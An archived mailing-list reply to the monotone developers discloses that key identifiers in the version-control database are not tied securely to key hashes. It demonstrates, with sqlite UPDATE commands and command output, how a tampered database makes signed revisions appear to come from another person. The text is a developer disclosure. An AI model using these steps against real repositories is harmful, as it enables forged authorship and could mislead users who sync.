monotone-devel
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Monotone-devel] WARNING: ~/.monotone/keys CONSIDERED HARMFUL


From: Brian May
Subject: Re: [Monotone-devel] WARNING: ~/.monotone/keys CONSIDERED HARMFUL
Date: Fri, 24 Oct 2008 11:17:06 +1100
User-agent: Thunderbird 2.0.0.17 (X11/20080925)

Daniel Carrera wrote:
I don't agree. What I propose would be no worse than naming the key 'address@hidden' which is the current system. I'm just making the existing system more convenient.
Getting back on topic (not that the diversion wasn't interesting), you can't authorize somebody to have access unless you can authenticate them first.

In my version of monotone:

address@hidden:~/tree/ikiwiki/public/wiki$ mtn ls keys

[public keys]
e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 address@hidden
d22a65c6ed5d212ec319acbbb3a9012123928899 address@hidden
a7c3deef8f1005230be3e216acc052d473fea994 address@hidden
1c5099967954a7acebebd2ee7bbf4abd2f35e01f address@hidden
...



The hash on the left side is secure, it can't change. Key e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 will always be key e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6. If it changes then it isn't key e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 any more, but another key. As such using e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 is secure, as it is also not feasible for somebody else to come up with a e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 that pretends to be my key.

Unfortunately, e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 means nothing to most people. If you added e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 to ~/./monotone///read/-/permissions or /~/./monotone//write-/permissions it means nothing. Just who is allowed access? Maybe you know when you added the entry, but maybe several years later./ If you see e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 signed a certificate, just what does that mean? Nothing.
//
/So you need to identify the user associated with key /e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6. Monotone does this, I believe (I haven't looked at the details), by storing the key alongside an identifier in the database. This identifier is used in ~/./monotone///read/-/permissions and ///~/./monotone//write-/permissions. It is also used in the output of "mtn ls certs <revision>" where you can find out who signed a particular revision.

///The problem is there is no security in mapping the key to the keyid. If I look at the output of / "ls certs <revision>" and see that it was signed by "/address@hidden" how do I know it was signed by keyid e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6? I don't. More importantly, how do I know it really was signed by /"/address@hidden"? I don't.

As far as I am aware, there is nothing to stop an attacker changing the mappings in the database, to look like, maybe:

[public keys]
e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 address@hidden
d22a65c6ed5d212ec319acbbb3a9012123928899 address@hidden
a7c3deef8f1005230be3e216acc052d473fea994 address@hidden
1c5099967954a7acebebd2ee7bbf4abd2f35e01f address@hidden
44af5cdd1394964a2adc4de086234c1a76f94a18 address@hidden

Now everything that was signed by key e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6 will look like it was signed by address@hidden, and everything that appears to be signed by "address@hidden" is actually signed by a key that only the attacker was the corresponding private key.

This isn't a problem so far - the attacker has only stuffed up his database - however the attacker can trick other people into synchronising from his database...

Now lets try this in practice:

I think the way to carry out this attack would be to directly modify the values within the public_keys table:

sqlite> .dump public_keys
BEGIN TRANSACTION;
CREATE TABLE public_keys
   (
   hash not null unique,   -- hash of remaining fields separated by ":"
   id primary key,         -- key identifier chosen by user
   keydata not null        -- RSA public params
   );
INSERT INTO "public_keys" VALUES(X'1C5099967954A7ACEBEBD2EE7BBF4ABD2F35E01F', 'address@hidden', X'30819F300D06092A864886F70D010101050003818D00308189028181009A26A7E43E0E3218DE6FC1AA48FCD22F31928695449B4D712E5EAC420248AF374143A9F27D6406F758E7B103DBE5D40232D91ACFF8FC72C719B4E03D010410017931F7F915D4AADDFC220FE8844D3BDE2108D58B5D5ECBF3CE555B36517B7B5C3B92BC859BED0A64C13F554838A5D8FC34B7F89F02AC7CE2280F2B6749251EE90203010001'); INSERT INTO "public_keys" VALUES(X'D22A65C6ED5D212EC319ACBBB3A9012123928899', 'address@hidden', X'30819F300D06092A864886F70D010101050003818D0030818902818100C65679E8F852BA66226C66BA2A87DA25761AC18129815174B34DE14FA5E93D951F51950A8335BA2A314308414E1129E58E92EBF826B049CD602A83EE55CAF8C9EEF2C95B4C2AED5FD41329315859DDE8142474491346C3A759C23C0FCEF73DD4745F62A189BA375578E5B373195358E14744F8DEBE6CD81FBA13401F3B6CC7C30203010001'); INSERT INTO "public_keys" VALUES(X'E17E2BDD1721AD25F2C439A6E7DF12D8B6F141B6', 'address@hidden', X'30819F300D06092A864886F70D010101050003818D0030818902818100A1B79A84D5FFC20B3ECF19D756C991D0614618C748FA9AA5D423CE73B80D184FD9FE033005BC9B7E6A3110B5D38F3CFABEA3D8A34192820D1D5481465755BB93E65F9A932C119480B8E519B472B4716DEA35719F96B56C75A4DAAAD8EE7357919D1A88A204B2B773F5C341E9246D73E5955DDAA1D55DCB799D22957B26ACDCBB0203010001'); INSERT INTO "public_keys" VALUES(X'A7C3DEEF8F1005230BE3E216ACC052D473FEA994', 'address@hidden', X'30819F300D06092A864886F70D010101050003818D00308189028181009927DDCB757E635A0FD53495FDAA9299799446C64E651C785DC804EFF9310E0837F77EA83274CCC63F92E1D70D1D0D52FF73EE83FDEE7C852E9FA833E12AF6A9C4B19628D041A8AD66C8E9D76B6A54685248D1F2808233DF69A31A046B98584225C04CF672827EA1773D6415170722ECE6DD5597FF56ACA8C23D9EF1E32EBC6D0203010001');
COMMIT;
sqlite> UPDATE public_keys SET id="address@hidden" WHERE hash=X'E17E2BDD1721AD25F2C439A6E7DF12D8B6F141B6';
sqlite> quit
address@hidden:~/au.com.microcomaustralia.wiki$ mtn genkey address@hidden


Ok, so its not quite as smooth as I suggested above; monotone stores the keyid with every certificate, and "mtn log" gets upset when they don't match. This might give the game away. Lets fix that:

sqlite> UPDATE revision_certs SET keypair="address@hidden" WHERE keypair="address@hidden";

Now, "mtn log" is happy and "mtn ls certs <revision>" is also happy to display the wrong value:

address@hidden:~/au.com.microcomaustralia.wiki$ mtn ls certs 1d5a9e4d5f38145d96b4703be7c14bbc9c827a05
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : author
Value : address@hidden
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : branch
Value : au.com.microcomaustralia.wiki
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : changelog
Value : Initial version.
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : date
Value : 2008-01-13T02:53:31

Anyone looking at this would think evil signed the changes, not me. Or, more precisely they might assume evil signed the changes I made, because it wouldn't be possible for me to change my author certificates. Before I stuffed around this use to report:


address@hidden:~/tree/ikiwiki/public/wiki$ mtn ls certs 1d5a9e4d5f38145d96b4703be7c14bbc9c827a05
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : author
Value : address@hidden
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : branch
Value : au.com.microcomaustralia.wiki
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : changelog
Value : Initial version.
----------------------------------------------------------------------------------------------------------------------------------------
Key   : address@hidden
Sig   : ok
Name  : date
Value : 2008-01-13T02:53:31


More importantly though (the above is easy to achieve just be deleting all certificates and recreating them with my key - I could even update the author fields at the same time), now I have set things up so I anything I sign will look like it was signed by address@hidden, except it was signed by 44af5cdd1394964a2adc4de086234c1a76f94a18 and not e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6.

Curiously I somehow broke "mtn ls keys" though:

address@hidden:~/au.com.microcomaustralia.wiki$ mtn ls keys
mtn: fatal: std::logic_error: paths.cc:728: invariant 'I(!empty())' violated
mtn: this is almost certainly a bug in monotone.
mtn: please send this error message, the output of 'mtn version --full',
mtn: and a description of what you were doing to address@hidden
mtn: wrote debugging log to /home/brian/au.com.microcomaustralia.wiki/_MTN/debug
mtn: if reporting a bug, please include this file


As far as I can tell this is unrelated to changing the keyids, I might be mistaken though.


I don't know what would happen if I tried to sync this database with an existing database. Would it update the values I changed? Complain with an error? If I tricked a new user into syncing from me I am confident they would get the wrong values.


To answer the question somebody else asked, note that it would not be sufficient to sign the public key with a trusted GnuPG key. Monotone displays the key was signed by address@hidden, and address@hidden may have a perfectly good GnuPG signature that asserts that the hash 44af5cdd1394964a2adc4de086234c1a76f94a18 belongs to address@hidden

Unfortunately monotone doesn't tell the user anywhere (that I can see) that the hash for the signature really is e17e2bdd1721ad25f2c439a6e7df12d8b6f141b6, and as such the signature checked above is the wrong one.


I am going to delete this archive pretty soon just to make sure I don't stuff myself up. So if you want me to run any additional tests on it, better ask soon...


Brian May





reply via email to

[Prev in Thread] Current Thread [Next in Thread]